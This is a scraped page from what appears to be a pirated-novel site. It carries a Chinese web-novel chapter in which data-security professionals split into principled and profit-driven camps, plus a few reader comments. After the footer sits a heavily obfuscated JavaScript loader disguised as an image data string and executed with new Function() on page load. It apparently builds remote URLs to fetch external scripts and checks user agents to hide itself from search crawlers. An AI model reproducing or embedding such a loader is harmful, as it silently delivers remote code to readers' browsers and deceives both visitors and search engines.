首页
前传第177章 正邪分化初心
返回
关灯 护眼:关 字号:小

前传第177章 正邪分化初心派与逐利派对立

章节报错(免登陆)

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    前传第177章正邪分化初心派与逐利派对立(第1/2页)
    暮色漫过滨江科技园的玻璃幕墙,傍晚六点半,正是下班的高峰。
    写字楼的一盏盏灯火次第亮起,密密麻麻的光格连成一片,隔着远处的江水遥遥望去,整座科技园区璀璨耀眼,像一座被资本托举起来的琉璃之城。外人看见的,是互联网行业光鲜亮丽的外壳,高薪、机遇、快速迭代,无数年轻人背井离乡奔赴此地,追逐属于自己的前程。
    可只有身处行业内部的人才清楚,这一片繁华背后,早已裂开一道深深的鸿沟。
    初心派与逐利派的分化,正在无声之间,席卷整个数据安全赛道。
    初秋的晚风带着江面上的湿气,吹在玻璃上,留下一层薄薄的水雾。
    顶层的大型会议室还没有散会,长条会议桌旁坐满西装革履的行业从业者,这是一年一届的南方数据安全行业闭门交流会。没有媒体到场,不对外公开报道,到场的全是各个公司的技术负责人、投资机构代表、企业创始人。
    空气中漂浮着咖啡淡淡的苦味,投影幕布上滚动着行业年度报告,数字冰冷,数据光鲜,描绘着赛道规模飞速膨胀的蓝图。
    荆棘科技的创始人周明远坐在主位一侧,一身剪裁得体的深色西装,脸上挂着游刃有余的笑意,指尖轻轻敲着桌面,目光扫过在场众人。
    这两年,荆棘科技借着资本的东风,扩张速度一日千里。低价抢-占-中小客户,挖角成熟技术人员,收购小型创业工作室,遇到不肯归顺的小团队,便动用专利碰瓷、舆论抹黑的手段进行打压。短短三年时间,硬生生从行业二流玩家,跻身国内数据安全第一梯队。
    周明远端起玻璃杯抿了一口温水,声音不高,却足以让整个会议室的人都听得清清楚楚。
    “时代变了,做技术,不能抱着文人式的清高。”
    他身子微微前倾,目光扫过满座同行,语气带着一种久经商场的笃定,“资本进场,赛道爆发,我们要抓住窗口期。安全产品不是公益,企业活下去,才是第一位。适当取舍部分非核心防护模块,优先保证商业化落地,快速占领市场,这才是生存之道。”
    会议室里安静了一瞬,有人微微点头,也有人垂下眼帘,神色复杂。
    坐在靠后排位置的姚厚朴,指尖无意识攥紧手里的笔记本。
    他今天是代表兄妹二人过来参会,姚浮萍不愿意参加这种充斥应酬与利益交换的行业聚会,留在出租屋的小书房里,继续打磨那套还没有对外公开的初代加密算法。
    出门之前,浮萍跟他说过一句话:“哥,如果一场行业交流会,讨论的不是如何把防护做的更牢,而是讨论哪里的安全可以让步,那这个会,本身就已经偏离初衷。”
    此刻身临其境,姚厚朴才算真正体会到妹妹那句话背后的重量。
    周明远口中的“适当取舍”,放在技术层面,就是删减用户隐私溯源的防护链路,降低底层加密的算力投入,把更多研发预算倾斜到营销、销售、商务拓展上。
    牺牲一部分普通用户的数据安全,换取更低的产品成本,更快的商业化变现。
    这是当下很多资本加持的公司心照不宣的潜规则。
    “周总说得很现实。”隔壁一家安全公司的技术总监接过话,叹了口气,“投资人要看财报,要看营收增速,要看市场占有率。如果死守全链路高强度防护,成本居高不下,定价就没有竞争力,客户不会买单,公司活不下去,再好的技术也没有施展的地方。”
    “生存优先,理想其次。”另一名机构投资人淡淡开口,“商业世界,不相信情怀。”
    几句交谈,像是一把利刃,把在场的人悄悄划分成两个阵营。
    一部分人,经历过行业早期的蛮荒时代,见过数据泄露带来的人间惨剧,始终认为数据安全的底线不能退让,技术存在的意义,是守护普通人的信息权益;另一部分人,被资本裹挟,被生存压力逼迫,默认了妥协,把盈利和市场份额放在第一位,把用户防护当成可以权衡让步的筹码。
    没有激烈争吵,没有拍桌辩论,甚至连大声的争执都不存在。
    只是几句轻声交谈,几番眼神交汇,正邪的分化,就这样在灯火通明的会议室里悄然完成。
    姚厚朴坐在角落,笔尖在笔记本上停顿,迟迟没有落下。
    他理解生存的艰难。创业维艰,公司要发工资,要付房租,要承担研发成本,很多团队并不是天生就想作恶,只是在现实的重压之下,一步步向后退。退一步,再退一步,底线不断松动,到最后,早已记不清最初出发的目的。
    可理解,不代表认同。
    他想起出租小屋,妹妹姚浮萍趴在书桌前,整夜整夜对着屏幕,眼睛里布满红血丝,一遍遍调试加密逻辑。少年时代亲眼见过算法被资本滥用,无数普通人隐私被肆意倒卖,那一幕在她心里刻下烙印,所以她立下铁一般的准则:技术向善,终身不改。
    初代加密算法,每一行代码,都在追求极致的防护,不计较短期的成本,不考虑短期的商业回报。
    正因如此,当资本抛来天价邀约,许诺高薪、实验室、资源,条件只需要他们稍微修改部分底层逻辑,适配商业化变现,被浮萍毫不犹豫拒绝。
    很多圈内人私下议论,说姚家兄妹太过固执,不懂变通,白白浪费一身绝佳天赋。
    身处这个会场,姚厚朴才真切感受到,他们的坚持,在如今的大环境下,有多么格格不入。
    交流会继续进行,台上开始讨论明年的行业风口,海外资本的代表也登台发言。
    金发的外籍驻华代理人,操着一口流利的中文,笑容看上去温和有礼,话语里却藏着毫不掩饰的野心。
    “中国的数据安全市场潜力巨大,我们愿意提供充足的资金、全球渠道,寻找本土优秀的技术团队进行深度合作。优质的加密算法,理应走向全球,实现商业价值最大化。”
    台下不少人眼睛亮了起来。
    海外资本雄厚,一旦达成合作,就意味着拿到出海的船票,对于急于扩张的公司而言,这是难以抗拒的诱惑。
    只有少数几个人心里清楚,这份合作背后藏着枷锁。
    资本不会白白施舍资源,所有的馈赠,早已暗中标好了价格。核心算法的底层权限、技术迭代的全部资料,都要向资方开放,本土技术,最终会沦为对方棋盘上的棋子。
    周明远脸上笑意更深,他微微侧过身,和身边的助理低声交代两句,眼底闪过一丝算计。荆棘科技已经在和这支海外资本暗中接触,谈判已经进入关键阶段,只要合作落地,荆棘科技就能借着外资的力量,进一步挤压本土小团队的生存空间。
    会议室的大门被人轻轻推开,有人悄悄离场。
    姚厚朴合上笔记本,起身,安静地退出会场。
    长廊外面,褪去了会议室的喧嚣,安静许多。落地玻璃窗外面,城市华灯初上,车流如同流动的星河。
    他拿出手机,拨通家里的电话。
    电话接通,听筒那边传来键盘敲击的清脆声响,姚浮萍的声音淡淡的,带着一丝疲惫:“哥,会开完了?”
    “还没有结束,里面的话题,听着心里压抑,我先出来了。”姚厚朴靠在冰凉的墙壁上,声音放轻,“今天的交流会,看得很明白。整个行业已经撕开了裂痕,一部分人向资本妥协,把盈利放在第一位,还有一小部分,还在死守底线。”
    听筒那头沉默片刻,键盘声短暂停顿。
    “我早就料到会是这样。”姚浮萍的声音平静,听不出太多情绪,“当一门技术变成一门生意,诱惑就会接踵而至。退让很容易,守住很难。可越是所有人都在后退的时候,总要有几个人站在原地。”
    (本章未完,请点击下一页继续阅读)前传第177章正邪分化初心派与逐利派对立(第2/2页)
    “海外资本今天也到场了,到处寻找本土技术团队合作。”姚厚朴说道,“开出的条件很优厚,不少团队已经动心。”
    “优厚的条件背后,是要拿走技术的根。”姚浮萍语气笃定,“我们的算法,是为了守护普通人的数据安全而生,不是用来给海外资本收割市场的工具。无论对方开出多高的价钱,我们都不会妥协。”
    “我明白。”姚厚朴轻轻应下。
    挂掉通话,姚厚朴站在长廊的落地窗前,望着脚下这片灯火万千的科技园。
    他心里清楚,属于他们的路,注定不会好走。不向资本妥协,不肯放宽安全底线,就意味着要放弃很多捷径,要熬过资金短缺,要面对同行的排挤,甚至未来还会遭遇不择手段的打压。
    可有些原则,一旦放弃,就再也捡不回来。
    ……
    同一时间,城市另一端。
    老城区一栋朴素的居民楼,楼道灯光有些陈旧,忽明忽暗。
    林晚租住的房子就在这栋楼的七层。
    房间不大,布置简单,书桌上堆满厚厚的专业书籍,打印出来的行业报告散落一桌。窗外可以看见远处科技园方向成片的灯火,隔着数条街道,遥遥相望。
    屋子里只开了一盏暖黄色的台灯,光线柔和,把房间大半都浸在阴影之中。
    经历过当年项目泄露,被当成替罪羊,遭遇行业封杀,跌入谷底之后,她慢慢重新走回技术领域。不再追逐大厂光鲜的岗位,拒绝了不少高薪offer,选择了一家规模不大的民间安全工作室,沉下心做技术复盘,做普通用户的安全科普。
    这两年,她刻意远离行业中心的漩涡,不参加热闹的行业峰会,很少出现在公开场合。可行业内发生的一切,她都一直在默默关注。
    电脑屏幕上,正在播放今天这场闭门交流会的圈内文字直播。都是参会的技术人员私下整理出来的片段,没有完整录像,只是零散的对话记录。
    周明远的发言,海外资本代理人的表态,一条条文字,在屏幕上缓缓滚动。
    林晚指尖捏着一支黑色水笔,目光安静地看着屏幕,眉头微微蹙起。
    她太懂这种进退之间的挣扎。
    当年她所在的大厂项目,何尝不是管理层为了抢占市场,强行压缩测试周期,为了商业进度,牺牲安全冗余。最后灾难降临,所有过错全部推到执行的技术人员身上。
    资本逐利的惯性,永远不会轻易改变。
    “适当取舍安全模块,优先商业化落地。”
    林晚低声念出这行字,嘴角扯出一抹淡淡的苦笑。
    所谓取舍,每一次妥协,最后买单的,都是千千万万毫不知情的普通用户。他们不懂复杂的加密算法,看不懂产品底层逻辑,他们信任企业,把自己的数据交付出去,却不知道自己的权益,已经在一次次商业权衡之中被悄悄牺牲。
    她回想起低谷那段闭门自省的日子,无数个漫漫长夜,反复复盘那场灾难。那一场事故,让她背负沉重的心理枷锁,也让她彻底看清行业的病灶。
    技术本身没有善恶,握着技术的人,才有选择。
    有人拿技术当做利刃,追逐财富与地位;也有人愿意拿技术当做盾牌,守护素不相识的普通人。
    初心派和逐利派的分化,不是一纸协议,不是一场冲突,而是无数个会议、无数次项目评审、无数个深夜的代码调试里,一点点拉开距离。
    她点开浏览器,翻出自己私下运营的科普账号后台。账号粉丝不多,只有几万,没有流量包装,没有商业广告,只是日复一日写文章,教普通人如何保护个人信息,识别数据泄露风险。
    后台有很多普通人留下的留言。
    有人遭遇信息泄露,被骚扰电话纠缠;有人网购之后个人地址到处流转;有人因为隐私泄露,生活陷入麻烦。一条条留言,朴实,细碎,全是真实人间的苦难。
    林晚看着这些留言,内心那份想要做公益的念头,愈发清晰。
    如果大环境很难立刻改变,那至少,能多护住一个普通人,便是一份意义。
    她拿起笔,在笔记本上写下一行字:浪潮滚滚,总有人不愿随波。
    ……
    城市的第三个角落,互联网大厂的员工公寓。
    龙胆草刚刚结束一场漫长的内部项目评审会。
    连续加班多日,眼底带着淡淡的疲惫,他坐在书桌前,桌面上摊开厚厚一叠市场调研报告。
    他还没有正式离职,依旧在大厂担任核心研发,但是心里创业的念头,已经生根发芽。这段时间,他利用业余时间,走遍市场上大大小小的数据安全产品,做调研,做实测。
    越调研,心里越沉重。
    市面上不少产品,宣传文案写得天花乱坠,号称全链路防护,可拆开底层一看,为了压缩成本,大量安全环节被阉割。对外向资本讲漂亮的故事,对内牺牲普通用户的防护能力。
    刚才评审会上,部门领导再一次提出要求,希望他们团队删减部分隐私溯源模块,优先完成商业化版本迭代,尽快拿出漂亮的运营数据。
    龙胆草当场就直接拒绝。
    也因此,在部门内部,他显得有些格格不入。
    他点开圈内人分享的交流会片段,一字一句看完。
    周明远的那套“生存优先,理想其次”的论调,在行业之内,拥有大批拥护者。
    资本潮水涌来,裹挟着整个赛道向前狂奔。大家都在谈规模、谈增速、谈估值,愿意沉下心守住技术底线的人,越来越少。
    可越是这样,国产数据安全的空白,就越是刺眼。
    真正愿意把普通用户的安全放在第一位的产品,少之又少。
    龙胆草站起身,走到窗边,推开窗户。
    晚风扑面而来,带着城市夜晚的喧嚣。远处科技园灯火如海,繁华盛大,可那片繁华之下,暗流已然涌动。
    逐利者借着资本的力量疯狂扩张,荆棘科技不择手段抢占市场;海外资本虎视眈眈,伺机收割本土优质技术;还有一小部分人,散落在城市各个角落,还在固执地守着自己的初心。
    姚浮萍兄妹在出租小屋打磨初代加密算法;林晚隐于市井,默默做用户科普;还有许许多多不知名的技术人,散落在各个小团队之中。
    他们彼此还互不相识,命运的丝线,还没有正式交织在一起。
    但在这个夜晚,行业的裂痕已经清晰显现。
    初心派与逐利派,壁垒分明。
    一场看不见硝烟的较量,已经悄然拉开序幕。
    他拿起桌上的笔记本,笔尖落下,写下自己未来创业的构想。
    要做一套真正属于国人,真正守护普通人隐私的加密系统。不计短期得失,守住技术向善的底线。
    窗外的夜色深沉,城市依旧喧嚣,属于五彩绫镜的故事,还在等待一个破土而出的时机。
    (本章完
    读者互动区
    *读者1:看得心里沉甸甸,现实行业就是这样,理想在资本面前处处碰壁。
    *读者2:姚浮萍兄妹太戳人,明明手握天赋,却拒绝所有捷径,坚守本心。
    *读者3:林晚的视角好真实,见过行业黑暗,依旧选择温柔守护普通人。
    *读者4:全员还未相遇,各自在黑暗里蓄力,期待他们汇聚成团的那一天!
    *读者5:正邪分化不是非黑即白,很多人只是被现实推着妥协,写得足够现实。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();